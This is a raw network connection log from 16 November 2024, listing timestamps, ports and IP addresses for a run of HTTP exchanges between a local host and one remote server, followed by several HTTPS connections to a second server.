Nov 16, 2024 23:36:16.155867100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.155883074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.155895948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.155896902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.155911922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.155927896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.155930042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.155942917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.155958891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.155973911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.155988932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156002045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156017065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156033039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156048059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156063080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156086922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156086922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156086922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156086922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156086922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156130075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156156063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156182051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156196117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156208038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156244993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156302929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156322002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156351089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156352997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156368971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156383038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156393051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156404018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156416893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156426907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156441927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156451941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156456947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156474113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156476974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156487942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156506062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156506062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156529903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156534910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156552076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156588078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156594038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156610966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156615973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156636000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156636000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156651974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156656981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156667948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156686068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156692028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156706095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156717062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156725883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156744957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156748056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156759024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156769991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156774044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156790018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156799078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156811953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156811953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156826973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156842947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156856060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156857967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156879902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156887054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156904936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156910896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156929016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156943083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156945944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.156959057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156976938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.156990051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.157010078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.157026052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.158202887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.158261061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.158267021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.158274889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.158298016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.158310890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.158314943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.158334017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.158340931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.158354998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.158358097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.158374071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.158375025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.158390999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.158394098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.158405066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.158416033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.158457041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159060955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159075975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159100056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159115076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159123898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159132004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159146070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159181118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159185886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159198046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159214020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159230947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159267902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159369946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159409046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159425974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159431934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159445047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159462929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159482002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159482956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159497023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159502983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159523010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159535885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159538031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159538031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159559011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159584999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159620047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159642935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159658909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159672022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159673929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159693003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159698009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159713984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159722090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159732103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159739971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159751892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159754992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159770966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159771919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159796000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159797907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159812927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159828901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159840107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159845114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159862995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159868956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159889936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159904003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159905910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159926891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159946918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159951925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.159964085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159980059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159996033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.159996986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160012007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160028934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160031080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160044909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160060883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160067081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160089016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160095930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160106897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160120964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160130024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160147905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160147905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160164118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160178900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160190105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160196066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160211086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160232067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160233021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160250902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160257101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160264969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160279989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160281897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160321951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160332918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160350084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160352945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160365105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160382986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160403967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160422087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160453081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160465956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160480022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160495043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160507917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160510063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160526037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160530090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160538912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160552025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160562038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160569906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160578012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160594940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160609961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160612106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160625935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160635948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160644054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160656929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160660982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160677910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160692930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160696030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160707951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160718918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160722971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160739899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160754919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160756111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.160784960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.160801888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.192980051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.192996979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193033934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193049908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193064928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193079948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193079948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193095922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193125963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193147898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193156958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193178892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193193913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193223000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193238020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193253040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193274975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193289042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193305969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193327904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193348885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:16.193371058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193371058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193371058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193371058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193372011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193372011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193372011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193372011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:16.193475962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:17.378674984 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.378705978 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:17.378758907 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.378981113 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.378998995 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:17.430433989 CET	49709	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.430478096 CET	443	49709	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:17.430542946 CET	49709	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.430866003 CET	49709	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.430886984 CET	443	49709	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:17.506388903 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.506423950 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:17.506480932 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.506675959 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.506685019 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:17.551265955 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.551352978 CET	443	49711	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:17.551438093 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.551888943 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:17.551929951 CET	443	49711	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.256680965 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.256866932 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.256886005 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.258511066 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.258589983 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.259664059 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.259763956 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.259896994 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.259910107 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.287353992 CET	443	49709	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.287594080 CET	49709	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.287626028 CET	443	49709	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.289062977 CET	443	49709	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.289128065 CET	49709	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.289434910 CET	49709	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.289526939 CET	443	49709	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.289621115 CET	49709	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.289637089 CET	443	49709	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.308940887 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.339992046 CET	49709	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.357471943 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.357924938 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.357935905 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.361329079 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.361390114 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.361938000 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.362019062 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.362088919 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.362104893 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.410659075 CET	443	49711	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.410862923 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.410881996 CET	443	49711	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.411798000 CET	443	49711	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.411858082 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.412146091 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.412215948 CET	443	49711	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.412323952 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.412338972 CET	443	49711	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.417112112 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.465017080 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.546422005 CET	49709	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.546523094 CET	443	49709	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.546576977 CET	49709	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.642544985 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.642725945 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.642797947 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.642808914 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.642888069 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.642945051 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.642950058 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.643029928 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.643079042 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.643084049 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.650645018 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.650698900 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.650703907 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.685337067 CET	443	49711	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.699316025 CET	49710	443	192.168.2.5	142.250.185.196
